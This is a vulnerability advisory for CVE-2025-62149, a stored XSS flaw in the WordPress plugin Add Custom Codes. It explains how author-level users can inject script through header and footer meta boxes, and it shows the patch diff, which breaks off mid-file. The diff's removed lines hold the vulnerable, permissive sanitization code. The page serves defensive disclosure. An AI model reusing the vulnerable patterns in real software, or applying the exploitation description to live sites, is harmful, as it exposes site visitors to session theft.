Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62149: Add Custom Codes <= 4.80 – Authenticated (Author+) Stored Cross-Site Scripting (add-custom-codes)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.80
Patched Version 5.0
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62149:
The Add Custom Codes WordPress plugin, versions up to and including 4.80, contains an authenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the plugin’s core functionality for injecting custom code snippets into site headers and footers. Attackers with author-level privileges or higher can inject arbitrary JavaScript payloads that execute for all users viewing the affected pages. The CVSS score of 6.4 reflects the requirement for authenticated access combined with the persistent nature of the attack.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in multiple plugin components. The primary vulnerable functions are `accodes_header_output()` and `accodes_footer_output()` in the main plugin file `add-custom-codes.php`. These functions directly echo user-controlled data from post meta fields `_accodes_header_metabox` and `_accodes_footer_metabox` without proper escaping. The vulnerable code paths include lines 304 and 371 in the patched version, where the plugin outputs header and footer codes with `echo $output` statements. The `_accodes_save_metabox_single()` function at line 462 applies `wp_kses()` with overly permissive HTML allowances, including `script` and `iframe` tags, to user-supplied input before storage.

Exploitation requires an attacker with author-level WordPress access. The attack vector targets the plugin’s meta boxes available on post, page, and custom post type edit screens. Attackers inject malicious JavaScript payloads into the ‘Header Code’ or ‘Footer Code’ text areas within the ‘Add Custom Codes by Mak’ meta box. When the affected content is saved and subsequently viewed, the plugin’s output functions `accodes_header_output()` and `accodes_footer_output()` directly echo the stored payloads to the page header or footer. The payload executes in the context of any user viewing the page, enabling session hijacking, content manipulation, or administrative privilege escalation.

The patch implements multiple security improvements across version 5.0. The plugin now restricts code injection capabilities to users with `unfiltered_html` or `manage_options` capabilities through checks in `accodes_create_metabox_single()` at line 388 and `accodes_render_taxonomy_meta_box()` at line 529. The `wp_kses()` allowed HTML arrays in `accodes_save_metabox_single()` (lines 462-492) and `accodes_save_taxonomy_meta_data()` (lines 562-592) now apply restrictive rules for non-privileged users, removing `script`, `style`, `iframe`, `meta`, and `link` tags. The patch also adds proper nonce verification with sanitization in `accodes_save_metabox_single()` at line 436 and implements capability checks for snippet execution in `accodes_inject_snippets()` at line 394.

Successful exploitation enables persistent client-side code execution affecting all users who view compromised pages. Attackers can steal session cookies, perform actions as authenticated users, deface website content, or redirect visitors to malicious sites. The stored nature of the vulnerability means payloads persist across sessions and require administrative intervention for removal. While author-level access is required for initial exploitation, the payload execution occurs for all subsequent visitors regardless of their privilege level, potentially enabling privilege escalation if administrative users view infected pages.

Differential between vulnerable and patched code

Code Diff
--- a/add-custom-codes/add-custom-codes.php
+++ b/add-custom-codes/add-custom-codes.php
@@ -2,23 +2,17 @@
 /**
  * Plugin Name: Add Custom Codes - Insert Header, Footer, Custom Code Snippets
  * Description: Light-weight plugin to add Custom PHP Functions, HTML, CSS, Javascript, Google Analytics, Search console verification tags and other custom code snippets to your Wordpress website.
- * Version: 4.80
+ * Version: 5.0
  * Author: Saifudheen Mak
  * Author URI: https://maktalseo.com
  * License: GPL2
  * Text Domain: add-custom-codes
  */

-// If this file was called directly, abort.
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
-
- add_action( 'init', 'accodes_load_textdomain' );
-function accodes_load_textdomain() {
-  load_plugin_textdomain( 'add-custom-codes', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
-}
-
+
 /*----------------
 plugin links 'Plugins' page
 ------------------*/
@@ -26,7 +20,7 @@

 function accodes_action_links ( $actions ) {
    $mylinks = array(
-      '<a href="' . admin_url( 'edit.php?post_type=accodes_snippets&page=accodes-about' ) . '">Donate us</a>',
+		'<a href="' . esc_url( admin_url( 'edit.php?post_type=accodes_snippets&page=accodes-about' ) ) . '">Donate us</a>',
    );
    $actions = array_merge( $actions, $mylinks );
    return $actions;
@@ -72,7 +66,7 @@
 	wp_register_style( 'accodes-css', plugins_url( 'add-custom-codes/assets/css/style43.css' ), '', '4.259' );
 	wp_enqueue_style( 'accodes-css' );

-	wp_register_script('accodes-js', plugins_url('add-custom-codes/assets/js/scripts.js'), ['jquery', 'jquery-ui-autocomplete'], '4.79', true);
+	wp_register_script('accodes-js', plugins_url('add-custom-codes/assets/js/scripts.js'), ['jquery', 'jquery-ui-autocomplete'], '4.82', true);
 	wp_enqueue_script( 'accodes-js' );

 	// Fetch tags for autocomplete
@@ -106,7 +100,7 @@


 function accodes_settings_page() {
-	if (!current_user_can('administrator')) {
+	if (!current_user_can('manage_options')) {
         wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'add-custom-codes'));
     }

@@ -174,7 +168,7 @@
 /*----------------
  functions
 ---------------*/
-function get_current_page_id()
+function accodes_get_current_page_id()
 {
 	global $post;
 	$current_page_id = false;
@@ -190,20 +184,20 @@
 	return $current_page_id;
 }

-function get_current_taxonomy_id() {
-    if (is_tax() || is_category() || is_tag()) {
-        $term = get_queried_object();
-        if (!empty($term) && !is_wp_error($term)) {
-            return $term->term_id;
-        }
-    }
-    return false;
+function accodes_get_current_taxonomy_id() {
+	if (is_tax() || is_category() || is_tag()) {
+		$term = get_queried_object();
+		if (!empty($term) && !is_wp_error($term)) {
+			return $term->term_id;
+		}
+	}
+	return false;
 }

 /*---------------------------------
 output Global CSS
 ----------------*/
-function get_global_custom_css()
+function accodes_get_global_custom_css()
 {
 		$accodes_global_css = '';
 		$options  = get_option( 'custom-css-codes-input' );
@@ -215,19 +209,22 @@
 }


-add_action( 'wp_head', 'accodes_css_output_header' );
 function accodes_css_output_header() {
 	//check if global css to be added before footer
 	$css_on_footer = (bool) get_option('accodes_global_css_on_footer', false);
 	//put css in footer not ticked
 	if(!$css_on_footer)
 	{
-		$accodes_global_css = get_global_custom_css();
-		//escape
-		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css"> '.wp_strip_all_tags($accodes_global_css).' </style> <!-- End - Global CSS by Add Custom Codes -->';
+		$accodes_global_css = accodes_get_global_custom_css();
+		// Intentionally output admin-provided CSS without HTML-encoding so quotes stay intact.
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided CSS.
+		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css">'. PHP_EOL . $accodes_global_css . PHP_EOL . '</style> <!-- End - Global CSS by Add Custom Codes -->';
 	}
 }

+// Hook global CSS output into the head
+add_action( 'wp_head', 'accodes_css_output_header' );
+
 add_action( 'wp_footer', 'accodes_css_output_footer' );
 function accodes_css_output_footer() {
 	//check if global css to be added before footer
@@ -235,9 +232,10 @@
 	//put css in footer ticked
 	if($css_on_footer)
 	{
-		$accodes_global_css = get_global_custom_css();
-		//escape
-		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css"> '.wp_strip_all_tags($accodes_global_css).' </style> <!-- End - Global CSS by Add Custom Codes -->';
+		$accodes_global_css = accodes_get_global_custom_css();
+		// Intentionally output admin-provided CSS without HTML-encoding so quotes stay intact.
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided CSS.
+		echo '<!-- Global CSS by Add Custom Codes --> <style type="text/css">'. PHP_EOL . $accodes_global_css . PHP_EOL . '</style> <!-- End - Global CSS by Add Custom Codes -->';
 	}
 }

@@ -248,8 +246,8 @@
 function accodes_header_output() {

 	$hide_global_header = '';
-	$current_page_id = get_current_page_id();
-	$current_taxonomy_id =  get_current_taxonomy_id();
+	$current_page_id = accodes_get_current_page_id();
+	$current_taxonomy_id =  accodes_get_current_taxonomy_id();
 	$global_header_codes ='';
 	$get_single_header_codes = '';
 	$single_header_codes = '';
@@ -306,7 +304,7 @@

 	if($output !='')
 	{
-		//escape
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided header codes.
 		echo $output;
 	}

@@ -321,8 +319,8 @@
 function accodes_footer_output() {

 	$hide_global_footer = '';
-	$current_page_id = get_current_page_id();
-	$current_taxonomy_id = get_current_taxonomy_id();
+	$current_page_id = accodes_get_current_page_id();
+	$current_taxonomy_id = accodes_get_current_taxonomy_id();
 	$global_footer_codes ='';
 	$single_footer_codes = '';
 	$taxonomy_footer_codes = '';
@@ -373,7 +371,7 @@

 	if($output !='')
 	{
-		//escape
+		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-provided footer codes.
 		echo $output;
 	}

@@ -385,34 +383,39 @@
  * Individual pages
  * Create the meta boxes for Single post, page, product any other custom post type
  ------------------------------------*/
-function _accodes_create_metabox_single() {
+function accodes_create_metabox_single() {

 	$post_types = get_post_types( '', 'names' );
 	$post_types = array_merge( $post_types, array( 'post', 'page' ) );

+	$can_code = current_user_can('unfiltered_html') || current_user_can('manage_options');
+
 	foreach ( $post_types as $post_type ) {

 		if ($post_type === 'accodes_snippets') {
             continue;
         }
+		if (!$can_code) {
+			continue;
+		}

 		add_meta_box(
-					'_accodes_metabox',
-					 'Add Custom Codes by Mak',
-					 '_accodes_render_metabox',
-					 $post_type,
-					'normal',
-					 'default'
-					);
+			    '_accodes_metabox',
+			     'Add Custom Codes by Mak',
+			     'accodes_render_metabox',
+			     $post_type,
+			    'normal',
+			     'default'
+			    );
 	}

 }
-add_action( 'add_meta_boxes', '_accodes_create_metabox_single' );
+add_action( 'add_meta_boxes', 'accodes_create_metabox_single' );

 /*-------------------------------
  * Display Meta Boxes for Single
  * ----------------------------*/
-function _accodes_render_metabox() {
+function accodes_render_metabox() {
 	// Variables
 	global $post; // Get the current post data
 	$header_script = get_post_meta( $post->ID, '_accodes_header_metabox', true ); // Get the saved values
@@ -429,13 +432,14 @@
 /*-------------------------
  * update data on post save - Single
  ---------------------------*/
-function _accodes_save_metabox_single( $post_id, $post ) {
+function accodes_save_metabox_single( $post_id, $post ) {


 	// Verify nonce for security
-    if ( !isset($_POST['accodes_meta_nonce']) || !wp_verify_nonce($_POST['accodes_meta_nonce'], 'accodes_save_meta') ) {
-        return $post_id;
-    }
+	$acc_meta_nonce = isset($_POST['accodes_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_meta_nonce']) ) : '';
+	if ( !$acc_meta_nonce || !wp_verify_nonce($acc_meta_nonce, 'accodes_save_meta') ) {
+		return $post_id;
+	}

 	// Verify user has permission to edit post
 	if ( !current_user_can( 'edit_post', $post->ID )) {
@@ -458,18 +462,36 @@



-	$allowed_html = [
-            'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
-            'style' => ['type' => []],
-            'meta' => ['name' => [], 'content' => [], 'charset' => []],
-            'link' => ['rel' => [], 'href' => [], 'type' => []],
-            'div' => ['class' => [], 'id' => [], 'style' => []],
-            'span' => ['class' => [], 'style' => []],
-            'p' => ['class' => [], 'style' => []],
-            'a' => ['href' => [], 'title' => [], 'target' => []],
-            'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
-            'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
-        ];
+	$privileged = current_user_can('unfiltered_html') || current_user_can('manage_options');
+	if ($privileged) {
+		$allowed_html = [
+			'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
+			'style' => ['type' => []],
+			'meta' => ['name' => [], 'content' => [], 'charset' => []],
+			'link' => ['rel' => [], 'href' => [], 'type' => []],
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
+		];
+	} else {
+		// Restrictive for non-privileged users (no scripts/styles/iframes/meta/link)
+		$allowed_html = [
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'ul' => ['class' => [], 'style' => []],
+			'ol' => ['class' => [], 'style' => []],
+			'li' => ['class' => [], 'style' => []],
+			'strong' => [],
+			'em' => [],
+			'br' => [],
+		];
+	}



@@ -494,26 +516,28 @@
 	update_post_meta( $post->ID, 'accodes_hide_footer', $hide_footer );

 }
-add_action( 'save_post', '_accodes_save_metabox_single', 10, 2 );
+add_action( 'save_post', 'accodes_save_metabox_single', 10, 2 );


 /*
  * single meta end
  * -----------------------------------------------*/

-function get_current_term_id() {
-    if (isset($_GET['tag_ID'])) {
-        return intval($_GET['tag_ID']);
-    }
-    return 0;
+function accodes_get_current_term_id() {
+	// Prefer queried term object over direct access to $_GET['tag_ID']
+	$term = get_queried_object();
+	return ( $term && isset( $term->term_id ) ) ? absint( $term->term_id ) : 0;
 }

 // Register meta box
 function accodes_render_taxonomy_meta_box() {
    $taxonomies = get_taxonomies();
     foreach ($taxonomies as $taxonomy) {
-        add_action("{$taxonomy}_edit_form", function($tag) use ($taxonomy) {
-			$term_id = get_current_term_id();
+		add_action("{$taxonomy}_edit_form", function($tag) use ($taxonomy) {
+			if (!current_user_can('unfiltered_html') && !current_user_can('manage_options')) {
+				return;
+			}
+			$term_id = isset($tag->term_id) ? (int) $tag->term_id : 0;
 			$header_script = get_term_meta( $term_id, '_accodes_header_metabox', true );
 			$footer_script = get_term_meta( $term_id, '_accodes_footer_metabox', true );
 			$hide_header  = get_term_meta( $term_id, 'accodes_hide_header', true );
@@ -529,22 +553,44 @@
 function accodes_save_taxonomy_meta_data($term_id) {

 	 // Verify nonce for security
-    if (!isset($_POST['accodes_tax_meta_nonce']) || !wp_verify_nonce($_POST['accodes_tax_meta_nonce'], 'accodes_save_tax_meta')) {
-        return $term_id;
-    }
-
-	$allowed_html = [
-            'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
-            'style' => ['type' => []],
-            'meta' => ['name' => [], 'content' => [], 'charset' => []],
-            'link' => ['rel' => [], 'href' => [], 'type' => []],
-            'div' => ['class' => [], 'id' => [], 'style' => []],
-            'span' => ['class' => [], 'style' => []],
-            'p' => ['class' => [], 'style' => []],
-            'a' => ['href' => [], 'title' => [], 'target' => []],
-            'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
-            'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
-        ];
+	$tax_meta_nonce = isset($_POST['accodes_tax_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_tax_meta_nonce']) ) : '';
+	if (!$tax_meta_nonce || !wp_verify_nonce($tax_meta_nonce, 'accodes_save_tax_meta')) {
+		return $term_id;
+	}
+
+	if (!current_user_can('edit_term', $term_id)) {
+		return $term_id;
+	}
+
+	$privileged = current_user_can('unfiltered_html') || current_user_can('manage_options');
+	if ($privileged) {
+		$allowed_html = [
+			'script' => ['type' => [], 'src' => [], 'async' => [], 'defer' => []],
+			'style' => ['type' => []],
+			'meta' => ['name' => [], 'content' => [], 'charset' => []],
+			'link' => ['rel' => [], 'href' => [], 'type' => []],
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'iframe' => ['src' => [], 'width' => [], 'height' => [], 'frameborder' => [], 'allowfullscreen' => []],
+		];
+	} else {
+		$allowed_html = [
+			'div' => ['class' => [], 'id' => [], 'style' => []],
+			'span' => ['class' => [], 'style' => []],
+			'p' => ['class' => [], 'style' => []],
+			'a' => ['href' => [], 'title' => [], 'target' => []],
+			'img' => ['src' => [], 'alt' => [], 'width' => [], 'height' => []],
+			'ul' => ['class' => [], 'style' => []],
+			'ol' => ['class' => [], 'style' => []],
+			'li' => ['class' => [], 'style' => []],
+			'strong' => [],
+			'em' => [],
+			'br' => [],
+		];
+	}


 	//get value of meta boxes
--- a/add-custom-codes/custom-snippets.php
+++ b/add-custom-codes/custom-snippets.php
@@ -1,4 +1,9 @@
 <?php
+
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 //Register post type
 function accodes_register_snippets_cpt() {
     register_post_type('accodes_snippets', array(
@@ -19,8 +24,25 @@
         ),
         'public' => false,
         'show_ui' => true,
-        'show_in_menu' => true,
+        'show_in_menu' => true,
+        // Restrict management of snippets to administrators (or roles with manage_options)
         'capability_type' => 'post',
+        'capabilities' => array(
+            'edit_post'              => 'manage_options',
+            'read_post'              => 'manage_options',
+            'delete_post'            => 'manage_options',
+            'edit_posts'             => 'manage_options',
+            'edit_others_posts'      => 'manage_options',
+            'publish_posts'          => 'manage_options',
+            'read_private_posts'     => 'manage_options',
+            'create_posts'           => 'manage_options',
+            'delete_posts'           => 'manage_options',
+            'delete_private_posts'   => 'manage_options',
+            'delete_published_posts' => 'manage_options',
+            'delete_others_posts'    => 'manage_options',
+            'edit_private_posts'     => 'manage_options',
+            'edit_published_posts'   => 'manage_options',
+        ),
         'supports' => array('title'),
         'menu_icon' => plugins_url('add-custom-codes/assets/images/accodes-menu-icon.svg'),
         'menu_position' => 60,
@@ -128,7 +150,7 @@
 	if ($active === '0' && $post->post_status !== 'publish') {
    		 $active = '1';
 	}
-	$notes = get_post_meta($post->ID, '_accodes_snippet_notes', true);
+    $notes = get_post_meta($post->ID, '_accodes_snippet_notes', true);
 	$tags_raw = get_post_meta($post->ID, '_accodes_snippet_tags', true);
 	$tags_array = $tags_raw ? explode(',', $tags_raw) : [];

@@ -148,8 +170,29 @@
 		</script>";
 		}

+    // Provide safe default templates only when empty
+    if (trim((string) $content) === '') {
+        switch ($language) {
+            case 'javascript':
+                $content = '/* Add your scripts here. You can remove example code */' . "n" . 'console.log("code loaded.");' . "n";
+                break;
+            case 'css':
+                $content = '/* Your CSS here */' . "n" . '.selector {' . "ntn}" . "n";
+                break;
+            case 'htmlmixed':
+                $content = '<!-- Add your HTML here. You can remove example code-->' . "n" . '<div></div>' . "n";
+                break;
+            case 'php':
+            default:
+                // No explicit PHP open/close tags; runner evaluates raw PHP body.
+                $content = '// Your PHP here' . "n";
+                break;
+        }
+    }
+
     ?>
     <div class="postbox accodes-meta-wrapper">
+        <?php wp_nonce_field('accodes_save_snippet_meta', 'accodes_snippet_meta_nonce'); ?>
         <div class="accodes-group above-accodes-tab">
             <div class="accodes-group accodes-theme-toggle" style="display: flex; justify-content: flex-end; align-items: center;">
 				<label class="accodes-switch">
@@ -260,48 +303,100 @@
 add_action('save_post', function ($post_id) {
     if (get_post_type($post_id) !== 'accodes_snippets') return;

-    $code     = $_POST['accodes_code_editor'] ?? '';
-    $language = $_POST['accodes_snippet_language'] ?? '';
+    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;
+    if (wp_is_post_revision($post_id)) return;
+
+    $nonce = isset($_POST['accodes_snippet_meta_nonce']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_meta_nonce']) ) : '';
+    if (!$nonce || !wp_verify_nonce( $nonce, 'accodes_save_snippet_meta')) return;
+    if (!current_user_can('edit_post', $post_id)) return;
+
+    // Raw code is stored by design; validated on execution and escaped on output where applicable.
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+    $code     = isset($_POST['accodes_code_editor']) ? wp_unslash($_POST['accodes_code_editor']) : '';
+    $language = isset($_POST['accodes_snippet_language']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_language']) ) : '';
     $active   = isset($_POST['accodes_snippet_active']) ? '1' : '0';

     // Save core meta
-    update_post_meta($post_id, '_accodes_code', wp_unslash($code));
-    update_post_meta($post_id, '_accodes_snippet_language', sanitize_text_field($language));
-    update_post_meta($post_id, '_accodes_snippet_location', sanitize_text_field($_POST['accodes_snippet_location'] ?? ''));
-    update_post_meta($post_id, '_accodes_snippet_notes', sanitize_textarea_field($_POST['accodes_snippet_notes'] ?? ''));
+    update_post_meta($post_id, '_accodes_code', $code);
+    update_post_meta($post_id, '_accodes_snippet_language', $language);
+    $location = isset($_POST['accodes_snippet_location']) ? sanitize_text_field( wp_unslash($_POST['accodes_snippet_location']) ) : '';
+    $notes    = isset($_POST['accodes_snippet_notes']) ? sanitize_textarea_field( wp_unslash($_POST['accodes_snippet_notes']) ) : '';
+    update_post_meta($post_id, '_accodes_snippet_location', $location);
+    update_post_meta($post_id, '_accodes_snippet_notes', $notes);
     update_post_meta($post_id, '_accodes_snippet_active', $active);

     // Save tags
-    if (isset($_POST['accodes_tags']) && is_array($_POST['accodes_tags'])) {
-        $tags = array_map('sanitize_text_field', $_POST['accodes_tags']);
+    // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Collected then sanitized per-item below
+    $raw_tags_input = isset($_POST['accodes_tags']) ? wp_unslash($_POST['accodes_tags']) : null;
+    if (is_array($raw_tags_input)) {
+        $raw_tags = array_map('strval', $raw_tags_input);
+        $tags = array_map('sanitize_text_field', $raw_tags);
         wp_set_post_terms($post_id, $tags, 'accodes_tag');
     }
 	if ($language === 'php') {
 		delete_post_meta($post_id, '_accodes_snippet_error'); // clear old errors
 	}
+    // Clear cached snippet lists for all locations when a snippet is saved.
+    if ( function_exists( 'set_transient' ) ) {
+        $locations = [ 'site', 'admin', 'frontend', 'shortcode', 'head', 'footer' ];
+        foreach ( $locations as $loc ) {
+            delete_transient( 'accodes_snippet_ids_' . md5( (string) $loc ) );
+        }
+    }

 });

 function accodes_inject_snippets($location) {
-    $args = [
-        'post_type'      => 'accodes_snippets',
-        'post_status'    => 'publish',
-        'posts_per_page' => -1,
-        'meta_query'     => [
-            [
-                'key'   => '_accodes_snippet_active',
-                'value' => '1',
+    // Use a short-lived transient to cache snippet IDs per location and avoid expensive meta_query on every request.
+    $cache_key = 'accodes_snippet_ids_' . md5( (string) $location );
+    $ids = get_transient( $cache_key );
+    if ( false === $ids ) {
+        // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Results are cached in a transient to avoid running this meta_query on every request.
+        $query_args = [
+            'post_type'      => 'accodes_snippets',
+            'post_status'    => 'publish',
+            'posts_per_page' => -1,
+            'fields'         => 'ids', // only IDs to keep the query light
+            'no_found_rows'  => true,
+            'meta_query'     => [
+                [
+                    'key'   => '_accodes_snippet_active',
+                    'value' => '1',
+                ],
+                [
+                    'key'   => '_accodes_snippet_location',
+                    'value' => $location,
+                ],
             ],
-            [
-                'key'   => '_accodes_snippet_location',
-                'value' => $location,
-            ]
-        ],
-    ];
+        ];

-    $snippets = get_posts($args);
+        $ids = get_posts( $query_args );
+        if ( ! is_array( $ids ) ) {
+            $ids = [];
+        }
+        // Cache for 5 minutes
+        set_transient( $cache_key, $ids, 5 * MINUTE_IN_SECONDS );
+    }
+
+    if ( empty( $ids ) ) {
+        return;
+    }
+
+    // Fetch posts by IDs preserving order
+    $snippets = get_posts([
+        'post_type' => 'accodes_snippets',
+        'post_status' => 'publish',
+        'posts_per_page' => count( $ids ),
+        'post__in' => $ids,
+        'orderby' => 'post__in',
+        'no_found_rows' => true,
+    ]);

     foreach ($snippets as $snippet) {
+    // Only run snippets created by users with administrative capability
+    if (!user_can((int) $snippet->post_author, 'manage_options')) {
+        continue;
+    }
     $language = get_post_meta($snippet->ID, '_accodes_snippet_language', true);
     $code     = get_post_meta($snippet->ID, '_accodes_code', true);

@@ -312,9 +407,10 @@
                 if (!is_admin()) {
                     $cleaned = preg_replace('/^s*<?(php)?/', '', trim($code));
                     try {
-                        eval($cleaned);
-                        delete_post_meta($snippet->ID, '_accodes_snippet_error'); // clear old errors
-                    } catch (Throwable $e) {
+                        // phpcs:ignore WordPress.Security.EvalDetected -- Intentionally executing admin-authored PHP snippets; access is restricted to administrators (snippet authors must have 'manage_options').
+                        eval( $cleaned );
+                        delete_post_meta( $snippet->ID, '_accodes_snippet_error' ); // clear old errors
+                    } catch ( Throwable $e ) {
                         // Auto-deactivate the snippet
                         update_post_meta($snippet->ID, '_accodes_snippet_active', '0');
                         // Log error
@@ -328,15 +424,19 @@
         break;

         case 'css':
-            echo "<style>n" . trim($code) . "n</style>n";
+            // Intentionally output admin-authored CSS without HTML-encoding so quotes stay intact.
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored CSS; restricted to manage_options.
+            echo "<style>n" . trim( (string) $code ) . "n</style>n";
             break;

         case 'javascript':
-            echo "<script>n" . trim($code) . "n</script>n";
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored JS for a code injection plugin; restricted to manage_options.
+            echo "<script>n" . trim( (string) $code ) . "n</script>n";
             break;

         case 'htmlmixed':
         default:
+            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentionally outputting admin-authored HTML; restricted to manage_options and sanitized for non-privileged.
             echo $code;
             break;
     }
@@ -377,7 +477,7 @@
                 break;
         }

-        echo $badge;
+        echo wp_kses( $badge, [ 'span' => [ 'class' => [] ] ] );
     }
 	if ($column === 'accodes_health') {
         $error = get_post_meta($post_id, '_accodes_snippet_error', true);
@@ -389,10 +489,10 @@
     }
     if ($column === 'accodes_status') {
         $active = get_post_meta($post_id, '_accodes_snippet_active', true);
-        $checked = $active == '1' ? 'checked' : '';
+        $is_checked = ($active === '1');
         echo '
             <label class="accodes-switch">
-                <input type="checkbox" data-id="' . $post_id . '" class="accodes-toggle-snippet" ' . $checked . '>
+                <input type="checkbox" data-id="' . esc_attr( (string) $post_id ) . '" class="accodes-toggle-snippet"' . ( $is_checked ? ' checked="checked"' : '' ) . '>
                 <span class="slider"></span>
             </label>
         ';
@@ -408,10 +508,14 @@
 add_action('wp_ajax_accodes_toggle_snippet_status', function () {
     check_ajax_referer('accodes_toggle_snippet');

-    $post_id = intval($_POST['post_id'] ?? 0);
-    $active = $_POST['active'] === '1' ? '1' : '0';
+    $post_id    = isset($_POST['post_id']) ? intval( wp_unslash($_POST['post_id']) ) : 0;
+    $active_raw = isset($_POST['active']) ? sanitize_text_field( wp_unslash($_POST['active']) ) : null;
+    $active     = ($active_raw === '1') ? '1' : '0';

     if ($post_id && get_post_type($post_id) === 'accodes_snippets') {
+        if (!current_user_can('edit_post', $post_id)) {
+            wp_send_json_error(['message' => 'Permission denied'], 403);
+        }
         update_post_meta($post_id, '_accodes_snippet_active', $active);
         wp_send_json_success(['status' => $active]);
     }
@@ -427,6 +531,9 @@

         if (!$post_id || get_post_type($post_id) !== 'accodes_snippets') return '';

+        $snippet = get_post($post_id);
+        if (!$snippet || !user_can((int) $snippet->post_author, 'manage_options')) return '';
+
         $location = get_post_meta($post_id, '_accodes_snippet_location', true);
         $active   = get_post_meta($post_id, '_accodes_snippet_active', true);
         $content  = get_post_meta($post_id, '_accodes_code', true);
--- a/add-custom-codes/deactivate/deactivate.php
+++ b/add-custom-codes/deactivate/deactivate.php
@@ -1,5 +1,8 @@
 <?php
-
+// If this file was called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 add_action('admin_enqueue_scripts', 'accodes_enqueue_deactivation_feedback');
 function accodes_enqueue_deactivation_feedback($hook) {
     if ($hook !== 'plugins.php') {
--- a/add-custom-codes/global-form.php
+++ b/add-custom-codes/global-form.php
@@ -4,9 +4,11 @@
 	exit;
 }
 ?>
-<?php if (isset($_GET['settings-updated'])) : ?>
+<?php
+// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- value comes from Settings API redirect after a verified save.
+if ( isset( $_GET['settings-updated'] ) && sanitize_text_field( wp_unslash( $_GET['settings-updated'] ) ) ) : ?>
 	<div class="notice notice-success is-dismissible"><p><?php esc_html_e('Changes saved! Please clear your cache if the changes are not reflected on the website.', 'add-custom-codes'); ?></p></div>
-<?php endif ?>
+<?php endif; ?>

 <div class="wrap">
 <h2><?php esc_html_e( 'Add Custom Codes by Mak', 'add-custom-codes' ) ?></h2>
@@ -18,21 +20,21 @@
 			<?php do_settings_sections( 'accodes-settings-group' ); ?>

 			<?php
-			$global_css = "";
-			$global_css = get_option('custom-css-codes-input');
+			$accodes_global_css = "";
+			$accodes_global_css = get_option('custom-css-codes-input');
 			?>
 			<p><label for="custom-css-codes-input" class="accodes-label green-label"><?php esc_html_e( 'Custom CSS (Global)', 'add-custom-codes' ) ?></label><br/>
 You can add custom css (global) codes below. DO NOT INCLUDE <em><style></em> and <em></style></em> tags:</p>
-				<textarea class="codemirror-accodes-css" id="custom-css-codes-input" name="custom-css-codes-input"><?php echo esc_attr( $global_css ); ?></textarea>
+				<textarea class="codemirror-accodes-css" id="custom-css-codes-input" name="custom-css-codes-input"><?php echo esc_attr( $accodes_global_css ); ?></textarea>

 			<?php
 			//	$css_on_footer ='';
-				$css_on_footer = get_option('accodes_global_css_on_footer', false);
+				$accodes_css_on_footer = get_option('accodes_global_css_on_footer', false);
 			?>
 			<p>
                 <label for="accodes_global_css_on_footer" class="accodes-checkbox-label">
-                            <input type="checkbox" <?php echo checked( $css_on_footer, 1, false ); ?>
-                                   name="accodes_global_css_on_footer" id="accodes_global_css_on_footer" value="1"/>
+							<input type="checkbox" <?php echo checked( $accodes_css_on_footer, 1, false ); ?>
+								name="accodes_global_css_on_footer" id="accodes_global_css_on_footer" value="1"/>
 							Insert Custom CSS before <em></body></em> of website.
 				</label><br/>
 				By default, the plugin adds Custom CSS before <em></head></em> section of your website.
--- a/add-custom-codes/includes/about-accodes.php
+++ b/add-custom-codes/includes/about-accodes.php
@@ -1,3 +1,11 @@
+<?php
+
+// If this file was called directly, abort.
